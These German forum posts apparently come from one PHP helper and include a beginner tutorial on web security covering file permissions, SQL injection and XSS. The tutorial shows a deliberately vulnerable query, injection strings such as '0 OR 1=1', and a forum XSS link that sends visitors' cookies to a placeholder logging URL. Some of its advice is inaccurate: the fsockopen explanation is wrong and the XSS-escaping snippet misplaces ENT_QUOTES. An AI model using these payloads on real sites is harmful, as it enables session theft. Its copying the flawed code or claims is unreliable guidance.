Beiträge von webcool

    Ronald, ganz meiner meinung ich habe nicht gezögert mich hier anzumelden das sind 3minuten und sich als gast sich vernümpftig anzumelden noch weniger als eine minute

    Ich mag solche spezies nicht :evil:

    das weiss ich nicht, ich weiss ja nicht was die methoden in deiner klasse machen kann ja sein das du dort ja usereingaben übergibst da du ja au ein formular haben musst ! wie schon mal in diesem thread erwähnt muss ich das ganze script sehen !

    Faustregel ist das alle usereingaben auch cookies und sessions immer als manipuliert betrachtet werden sollten und dem entsprechend sicherst du dich ab mit den funktionen die ich in meinem tut benutzt habe !

    :D

    ja knn man denn mit 777 chmod gibst du die erlaubnis das auch externe scripte die betroffene Datei ausführen z.b. mit include, Lesen oder beschreiben dürfen !

    ausser wenn in der php.ini Datei es dem entsprechen gesperrt worden ist z.b.
    fsockopen wie bei funpic oder das man nur dateien ausführen darf die im dateisystem zur verfügung stehen !

    versuch es mal so !

    Ja dann musst du das array verschachteln

    Mache es doch so

    wenn du die komplette Datei in einen Datenbank Spalte Speichern möchtest.

    Ja kann man apache_get_modules() liefert ja ein array mit den möglichen modulen zurück, wenn die function nicht zur verfügung steht gibts ein nettes Beilspiel auf der manual seite wie man das noch lösen kann !

    Hallo zusammen, habe mal wieder langeweile und habe mich entschieden hier ein paar tips zum Thema Sicherheit zu Posten !

    Dateiattribut

    Den größten Fehler den Anfänger machen ist Ihre Scripte der ganzen Welt zugänglich zu machen mit dem Dateiattribut 777 ( Chmod ) , dann haben noch einige keine Index.htm Datei in Ihrem root Verzeichnis, und so kann sich ein Angreifer in aller ruhe im Dateisystem umschauen ! Wenn der Angreifer eine Datei findet die sql oder My Connect.php heist wird er versuchen diese auszulesen mit fsockopen da die Datein den Attribut 777 haben sind diese Dateien auch für die Öffentlichkeit zugänglich und er kann sie auslesen, umschreiben oder sogar löschen ! Damit bekommt er unter umständen eure
    Zugangsdaten für die Datenbank das noch verherende folgen haben kann als wenn der Angreifer nur die Datei umschreibt !

    Zudem solltet Ihr eure wichtigsten Dateien wie z.b. Dateien die eure Zugangsdaten für die Datenbank enthalten nicht connect, admin oder sql.php usw. nennen denn Logischerweise möchte man mit der robots.txt Datei verhindern das Suchmaschienen die durchsuchen nicht weil der crawler die auslesen könnte nein weil der crawler dort nichts zu suchen hat ! Worauf ich hinaus will ist das Hacker als erstest in diese Datei schauen um wichtige Daten zu finden wenn man z.b. eine Index.php Datei im root Verzeichnis hat und er es nicht einsehen kann !

    MySQL

    SQL - Injection:

    Nehmen wir an das wir eine HP haben wo der Content aus eine Datenbank kommt !

    Daher haben wir z.b. solche Links mit fogende Adresse

    index.php?cat=Startseite

    Der Code um die Einträge aus der Datenbank zu holen könnte so aussehen :

    Code
    //connection usw.
       $sql="SELECT * FROM Contents WHERE id='".$_GET['cat']."' LIMIT 1";
       $result=mysql_query($sql)or die(mysql_error());
       $row=mysql_fetch_assoc($result);
    
    
       echo$row['Inhalt'];

    So sollte man das auf gar kein fall machen !

    Nur wie Lösen wir das Problem ? Die folgenden funktionen sollten hilfreich sein :

    mysql_real_escape_string, get_magic_quotes_gpc und die methode Typcasting !

    wie folgt

    Mit der Methode Tycasting (INT) können wir verhindern das der User den
    Parameter Manipuliert da nur noch eine Zahl möglich ist, wenn der Parameter keine Zahl ist wird eine Fehlermeldung ausgeben und das Script wird abgebrochen ! Deshalb solltet Ihr immer Primary Key`s ( ID ) für Einträge nehmen ! Die Links sehen dann so aus :

    index.php?cat=37


    Denn es ist möglich das ein Angreifer sich alle einträge zeigen lässt z.b. so :

    Code
    $sql="SELECT * FROM Contemts WHERE id=0 OR 1=1 ";

    somit ist die WHERE Klausel immer wahr !

    die Linkadresse könnte so aussehen :

    index.php?cat=0+OR+1=1

    Und die oben genannte Lösung kann solch eine Manipulation verhindern !
    Ein Angreif könnte sonst z.b. mit der Funktion UNION auch SQL Anweisungen verknüpfen ( einfach über den GET Parameter mit dran hängen )

    Wenn man User Eingaben an die Datebank verschicken muss sollte man die eingaben immer Filtern z.b. so :

    Code
    $sql="SELECT * FROM Login WHERE user='".mysql_real_escape_string($_GET['user'])."' AND       pass='".mysql_real_escape_string($_GET['pass'])."' LIMIT 1";

    Damit schützt man sich vor Angriffen dieser art :

    Code
    $_GET['user']='webcool';
    
    
        $_GET['pass']='' OR ''='';

    Mit diesen Manipulierten Parametern kann der Angreifer sich ohne Passwort einloggen wenn man die Eingaben nicht mit mysql_real_escape_string überprüft !

    XSS (Cross-Site-Scripting)

    XSS ist sehr weit verbreitet, meistens sind Foren davon betroffen !

    Wenn man eine Usereingabe erwartet sollte man Sie für die Anzeige auf dem Bildschirm vorbereiten.

    z.b so:

    Code
    echo htmlspecialchars(strip_tags($_GET['Eingabe'], ENT_QUOTES));

    Mit der Funktion strip_tags() Filtern wir alle SGML-Tags also alles was zwischen < und > Steht.

    Und mit dem Optionalen Parameter ENT_QUOTES geben wir an wie PHP diese " und diese ' Zeichen Filtern soll.

    Mit htmlspecialchars() wandeln wir diese < > und z.b. dieses & Zeichen in HTML um ( &amp; )!

    Denn es ist auch möglich JavaScript-Codes ohne den <Script> Tag einzubinden.

    Ein XSS-Angriff in einem Forum könnte so aussehen:

    Code
    [url='javascript:location.href='http://www.hier die URL wo das Script liegt der die COOKIES speichert.de/cookie.php?do='+document.cookie;']Suchst du was ?[/url]

    Aber in diesen Forum könnt Ihre diesen Trick knicken und in den meisten anderen auch, dieses Problem haben nur ältere Versionen der gängigen PHP-Foren.

    Hallo unterstützt dein Webspace PHP?

    wenn nicht geht das nicht !

    Wenn ja muss die ändung nicht htm,html sondern php heissen !

    wenn du webspace mit php brauchst dann schau mal hier http://funpic.de

    dort steht dir PHP und MySQL zu verfügung!

    aber wie gesagt kannst du es au mit google versuchen

    das script funktioniert das hab ich gerade getetstet !

    ein formular must du dir noch schreiben und per GET den suchbegriff übergeben !

    Hört sich ziemlich lächerlich an, und dann will der das noch umsonst haben zudem noch auf funpic hosten wo so gut wie keine wichtigen functionen bereit stehen wie mod-rewrite() oder fsockopen() ne ne ne

    so kannst du das knicken !

    Denn für so ein riesen Projekt brauchst du alleine schon für die Performance min. 2 Server einen Datenbankserver und einen für die ausgaben/anfragen !

    Mehrere Feste IP`s wären auch nicht schlecht und das kostet !

    Allein schon die Planung dauert sehr lange, das ist nicht mal eben so !

    wo für ist diese id (id="Tabelle_01") hast du noch eine css datei ausgelagert

    wenn ja schau dort noch mal !

    und nimm das hier heraus bei der betroffenen img

    style="bordrr:0px;"

    mache s so wie bei den anderen border="0"

    ach ja wenn du die als platzhalter für einen link nimmst kann der abstand auch daher kommen !

    wenn du HTML Dateien in einem Verzeichnis durchsuchen möchtest ( beachte bei php Dateien das der PHP code immer geparst wird )

    Update : Fehler beseitigt

    so in etwa könnte man das realisieren aber ich habe das script nicht getestet wenn was ist Fragen !

    erläuterung: Das Script durchsucht alle Datein z.b. Htm, HTML und PHP keine Bilder ! Als Linkname benutzt das Script den Teil der zwischen <title> und </title> steht ! das muss natürlich gesetzt sein in deinen Dokus !

    das script braucht 775 als Dateattribut !


    Ich hoffe du meintest es auch so aber du kannst auch google dafür benutzen musst du mal bei google.de nach schauen wie das geht !


    ach so wenn du eine Datenbank benutzt wo die daten stehen ist es einfacher !

    wenn jemand ein Fehler im Script findet bitte posten !